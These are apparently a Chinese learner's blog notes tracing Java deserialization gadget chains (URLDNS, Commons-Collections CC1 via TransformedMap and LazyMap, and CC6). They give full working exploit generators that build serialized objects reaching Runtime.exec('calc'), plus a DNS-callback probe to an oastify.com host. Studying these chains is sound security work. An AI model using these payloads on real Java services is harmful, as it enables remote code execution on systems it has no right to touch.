一些java反序列化相关的学习笔记
参考了挺多师傅的文章😀这里只做简单整理,详细内容推荐这位师傅:
Java
URLDNS 调用顺序:
1 2 3 4 5 HashMap ->readObject -> HashMap .putVal -> HashMap .hash -> URLStreamHandler ->hashCode () -> URLStreamHandler -> getHostAddress()
简单跟一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; } transient URLStreamHandler handler;protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u); protected synchronized InetAddress getHostAddress (URL u) { if (u.hostAddress != null ) return u.hostAddress;
put
方法里的key
放个URL,put
触发同类下的hash
方法hash
方法触发同类下的key.hashcode
,现在这个key是URL类的一个实例。其实就是调用了URL.java
下的hashCode
方法。hashCode(this)
这里的this
是调用该hashCode
方法的对象本身,就是刚才那个URL实例。最终调用getHostAddress
发起一个DNS请求。
初步EXP
:
1 2 3 4 HashMap<URL,Integer> hashmap= new HashMap <URL,Integer>(); hashmap.put(new URL ("dnslog生成的URL" ),1 ); serialize(hashmap);
这时会发现put
的时候就能发起DNS查询,而不是反序列化,问题出在:
1 2 3 4 5 6 7 8 9 10 11 12 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
这里如果hashCode
不等于-1的话就会走我上面写那段链子(而一开始定义 HashMap
类的时候hashCode
的初始值就是-1,相当于我们利用put
里的hash
做开头走完了这条链子,而不是利用readObject
里的hash)。这里我们需要通过反射,目的是put时hashcode不等于-1,反序列化时等于-1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void main (String[] args) throws Exception{ Person person = new Person ("aa" ,22 ); HashMap<URL,Integer> hashmap= new HashMap <URL,Integer>(); URL url = new URL ("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com" ); Class c = url.getClass(); Field hashcodefile = c.getDeclaredField("hashCode" ); hashcodefile.setAccessible(true ); hashcodefile.set(url,1234 ); hashmap.put(url,1 ); hashcodefile.set(url,-1 ); serialize(hashmap); }
CC1 初步写一下调用顺序:
1 2 3 4 5 Invokertransformer.transform -> (TransformedMap.java) -> checksetvalue方法 (TransformedMap.java)valueTransformer.transform -> (TransformedMap.java的构造函数) -> 定义了这个valueTransformer,但构造方法的作用域是protected,要想办法找别的方法去调用这个构造方法从而让这个valueTransformer可控 (这里找到了同类下的decorate方法,这个方法里直接new 了一个TransformedMap对象,都实例化对象了肯定会调用它的构造方法)
执行命令的地方就是这个Invokertransformer
下的transform
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args;
利用这两个东西弹个计算器:
1 2 3 4 5 6 7 8 9 10 11 12 13 import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Method; public class InvokeTransformerTest { public static void main (String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class} , new Object []{"calc" }); invokerTransformer.transform(runtime); } }
其实就是修改了利用反射弹计算器的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 import org.omg.SendingContext.RunTime; import java.lang.reflect.Method; public class InvokeTransformerTest { public static void main (String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); Class c = Runtime.class; Method method = c.getDeclaredMethod("exec" , String.class); method.setAccessible(true ); method.invoke(runtime, "calc" ); } }
然后寻找同名函数的不同调用:
1 2 3 4 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
注意这个checkSetValue
方法!其实就是把invokertransformer
换成了valueTransformer
,然后value
放个实例化后的Runtime
。看看这东西能否完美替换invokertransformer
:
1 2 3 4 5 6 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
然后public
修饰的decorate
就能直接new
一个TransformedMap
对象:
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
截止到目前的思路:
1 2 3 4 5 6 7 TransformedMap.decorate -> 通过new 一个实例 调用TransformedMap的构造方法 - > 从而定义valueTransformer 调用TransformedMap的checksetValue -> 调用valueTransformer.transform(value) 说白了就是换条路调用transform方法: 本来是invokerTransformer.transform(runtime),现在是从TransformedMap.java下走过去
EXP
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class decorateCalc { public static void main (String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = TransformedMap.decorate(hashMap, null , invokerTransformer); Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue" , Object.class); checkSetValueMethod.setAccessible(true ); checkSetValueMethod.invoke(decorateMap, runtime); } }
接下来是哪里调用了这个checkSetValue
:
1 2 3 4 5 6 7 8 public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
再往上跟:
1 2 3 4 public Object setValue (Object object) { return entry.setValue(object); }
setValue()
实际上就是在 Map 中对一组 entry(键值对) 进行 setValue()
操作。
还往上跟:
先看下POC
怎么写:
1 2 3 4 5 6 7 8 9 10 11 12 13 public class SetValueTest01 { public static void main (String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("key" , "value" ); Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null , invokerTransformer); for (Map.Entry entry:decorateMap.entrySet()){ entry.setValue(runtime); } } }
decorateMap.entrySet()
返回decorateMap
中的所有键值对的集合。
Map.Entry
是一个表示Map中的键值对的接口。
entry.setValue(runtime)
将每个键值对的值设置为runtime
的值。
其实比较关键的代码是这两部分:
1 2 3 4 5 hashMap.put("key" , "value" ); for (Map.Entry entry:decorateMap.entrySet()){ entry.setValue(runtime); }
所以现在目标就是找readObject()
里面调用了 setValue()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } }
这里拿了DB师傅的图:
那么现在我们的目的是要调用这个类下的readObject
方法,但注意:
1 class AnnotationInvocationHandler implements InvocationHandler , Serializable
Java
中,如果没有明确指定权限修饰符,则默认使用的是default
修饰符。使用default
修饰符修饰的类和成员变量等只能在同一个包中被访问,而不能在其他包中被访问。所以得通过反射调用这东西。
然后注意传参:
1 2 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues)
注解的话比如@override
,@Target
这种
理想情况下的EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package Example;import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class TransformMapImagineEXP { public static void main (String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("key" , "value" ); Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null , invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); Object o = aihConstructor.newInstance(Override.class, decorateMap); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
其实思路就是通过反射调用AnnotationInvocationHandler
的构造函数(实例化一个)然后序列化反序列化触发重写的readObject
方法进而调用上面说的setValue
方法。
这段代码肯定是没结果的,需要解决一些问题:
1.Runtime
对象不可序列化(没有implements Serializable
)
这东西很好解决:Class对象是可以序列化的,先写一段利用反射实现弹计算器的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package FinalEXP; import java.lang.reflect.Method; public class SolvedProblemRuntime { public static void main (String[] args) throws Exception{ Class c = Runtime.class; Method method = c.getMethod("getRuntime" ); Runtime runtime = (Runtime) method.invoke(null , null ); Method run = c.getMethod("exec" , String.class); run.invoke(runtime, "calc" ); } }
将这个反射的 Runtime
改造为使用 InvokerTransformer.transform()
调用的方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class SolvedProblemRuntime { public static void main (String[] args) throws Exception{ Method getRuntimeMethod = (Method) new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(getRuntimeMethod); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r); } }
这里发现每个transform()
方法的参数都是上一个结果,这时可以利用ChainedTransformer
类下的transform
方法进行简写。我们看下这个东西:
1 2 3 4 5 6 7 8 9 10 11 12 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
现在怎么把这个ChainedTransformer
套进去就很清晰了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class ChainedTransformerEXP { public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(Runtime.class); } }
注意最后的chainedTransformer.transform(Runtime.class)
,可以发现一个问题:这里又出现最初的transform
方法调用了。所以现在把decorate
后面那些给它拼上去:即通过AnnotationInvocationHandler
下重写的readObject
方法调用transform
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public class ChainedTransformerEXP { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("key" ,"value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); Object o = aihConstructor.newInstance(Override.class, transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
但这时并不会弹计算器,因为前面也说了想进到setValue
方法得满足两个条件:
1 2 3 4 5 6 7 8 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) }
memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的。
我们先看看第一个memberType
是什么意思:
我们传入的参数:
1 Object o = aihConstructor.newInstance(Override.class, decorateMap);
这个注解得有成员变量(即成员的类型不能为空:memberType != null
)。看看@override
里面是否又成员变量:
可以看到这是个空的,不过好在@Target
里面有个value
现在第一个if
解决了,再看第二个if
:要求 hashMap.put("para1", "para2")
中的 para1
与成员变量相对应。这里直接放前面的value
就行。
这里直接放DB师傅的图:
最后一个问题就是这里setValue
的参数:
1 2 3 4 memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name)));
可以看到这个参数并不是我们想要的Runtime.class
,不过ConstantTransformer
类的存在可以帮我们解决这个问题:
1 2 3 4 5 6 7 8 9 10 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
可以看到这东西的transform
方法:不管input什么他都只能返回iConstant
,而iConstant
这东西可以在构造函数中定义。那么我们可以new
一个ConstantTransformer(Runtime.class)
,这时调用它的transform
方法时不管input什么都只能返回Runtime.class
。
最终EXP(参考了DB师傅的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package FinalEXP; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" ,"drunkbaby" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); Object o = aihConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
总结一下调用顺序:
1 2 3 4 AnnotationInvocationHandler .readObject -> AbstractInputCheckedMapDecorator .setValue -> TransformedMap .checkSetValue -> InvokerTransformer.transform
最后注意:
1 2 3 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) 这里的memberValues放的是transformedMap,最终会执行的是memberValue.setValue
AnnotationInvocationHandler.java
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } } }
CC1 Lazymap版 首先,lazy类下存在get方法,这里调用了transform
:
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
transform的话还是之前那个,里面的参数放个类就行。前面的factory就是invokertransformer
。
再往上跟一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 protected final Transformer factory; public static Map decorate (Map map, Factory factory) { return new LazyMap (map, factory); } public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = FactoryTransformer.getInstance(factory); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; }
私有的构造方法,还存在decorate
这个静态方法可以实例化出一个Lazymap
。
先利用现有的东西调个计算器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class CC1_REAL1 { public static void main (String[] args) throws Exception{ Runtime runtime = Runtime.getruntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> hashMap = new HashMap <>(); Map decoratemp = LazyMap.decorate(hashMap,invokerTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method getmethod = lazyMapClass.getDeclaredMethod("get" , Object.class); getmethod.setAccessible(true ); getmethod.invoke(decoratemp,runtime); } }
ChainedTransformer包装成LazyMap,接下来我们利用get去触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class Lazy1 { public static void main (String[] args) { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) }; Transformer transformerChain = new ChainedTransformer (transformers); HashMap hashMap = new HashMap (); LazyMap lazyM = (LazyMap) LazyMap.decorate(hashMap, transformerChain); lazyM.get("foo" ); } }
这个get的值随便写就行,因为调用 LazyMap 的 get 方法时,如果该键对应的值不存在,LazyMap 会根据键和 Transformer 链生成一个新的值。在这个过程中,LazyMap 会依次应用 Transformer 链中的每一个 Transformer 对象,将前一个 Transformer 的输出作为后一个 Transformer 的输入,最终生成值。虽然后面transform()里面要放个对象进去,不过由于ConstantTransformer的存在最终还是变成Runtime
,后面就是那个链式反应。
这这东西打个断点调试一下就知道了:
AnnotationInvocationHandler.invoke()
方法调用了 get()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member);
对某个对象使用Proxy.newProxyInstance进行动态代理并传入有实现invoke的相应hanlder对象(比如这里的AnnotationInvocationHandler),当调用方法时,就会跳转到这个handler对象的invoke方法。接着我们再来看下这个this.memberValues是否可控并能否设置为LazyMap,查看构造函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class AnnotationInvocationHandler implements InvocationHandler , Serializable { private static final long serialVersionUID = 6182022883658399397L ; private final Class<? extends Annotation > type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
memberValues
可控。对于invoke
这个方法来说,会在代理对象的任意方法被调用时调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } }
readobject
方法中恰好存在for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
。调用了memberValues的entrySet()
方法,触发这个方法的时候会自动走到memberValues
的invoke()方法。
把一个AnnotationInvocationHandler对象作为LazyMap动态代理的handler,最后再把代理后的LazyMap再赋值给一个新的Ann…Handler
1 2 3 4 5 InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, lazyM); Map proxyLazyM = (Map) Proxy.newProxyInstance(lazyM.getClass().getClassLoader(), lazyM.getClass().getInterfaces(),handler); Object payload = ctor.newInstance(Retention.class, proxyLazyM);
这里我们利用newinstance弄了两个AnnotationInvocationHandler
对象,其实第一个就是拿来当作动态代理的handler
的。第二个是拿来当代理以触发readobject
中的entrySet()
方法。
最终EXP(参考了DB师傅的文章):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package ysoChainsEXP; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class LazyFinalEXP { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader() , new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
最后注意invoke方法的这里,必须要调用一个无参方法才会走到下面的get,否则在中途直接return了(这里我们用的是memberValues.entrySet()
)。
1 2 3 4 if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
CC6 链子尾部与CC1相同:
1 LazyMap.get() -> factory.transform() -> InvokeTransfromer.transfrom()
那么谁调用了这个get?
TiedMapEntry
类中的 getValue()
方法调用了 LazyMap
的 get()
方法:
1 2 3 4 public Object getValue () { return map.get(key); }
利用TiedMaEntry
中的getvalue()
方法调个计算器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class TiedMapEntryEXP { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "key" ); tiedMapEntry.getValue(); } }
这里说白了还是去调LazyMap.get("叉叉叉")
,利用下面这东西:
1 2 3 4 5 6 7 TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "key" ); tiedMapEntry.getValue();public Object getValue () { return map.get(key); }
再往上找谁调用了这个getValue()
:
1 2 3 4 5 6 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
谁调用了hashcode()
这个方法?
1 2 3 xxx.readObject HashMap.put --自动调用--> HashMap.hash 后续利用链.hashCode
从 HashMap.put
开始,到 InvokerTransformer
结尾的弹计算器的 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class HashMapEXP { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "key" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "value" ); } }
HashMap
类的 put()
方法自动调用了 hash
方法,进而调用hashicode
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
这里有个小问题:在EXP这里打断点:
Debug
的时候就能直接弹计算器了
这里甚至都没有进行put操作,因为:
因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString()
方法,所以在创建 TiedMapEntry
的时候,就自动调用了 getValue()
最终将链子走完,然后弹出计算器。
参考文章
目前写出的CC6链子:
